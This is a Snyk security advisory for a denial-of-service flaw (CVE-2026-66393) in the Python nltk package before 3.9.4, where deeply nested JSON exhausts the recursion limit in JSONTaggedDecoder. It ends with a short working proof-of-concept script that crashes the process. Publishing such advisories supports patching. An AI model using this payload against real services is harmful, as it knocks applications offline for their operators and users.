Uncontrolled Recursion Affecting nltk package, versions [0,3.9.4)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-NLTK-15692479
- published19 Mar 2026
- disclosed18 Mar 2026
- creditZeroXJacks
Introduced: 18 Mar 2026
CVE-2026-66393 (opens in a new tab)How to fix?
Upgrade nltk to version 3.9.4 or higher.
Overview
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Uncontrolled Recursion via the JSONTaggedDecoder.decode_obj() function in jsontags.py. An attacker can cause the application to crash by submitting a deeply nested JSON structure that exceeds the recursion limit, resulting in an unhandled exception.
PoC
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)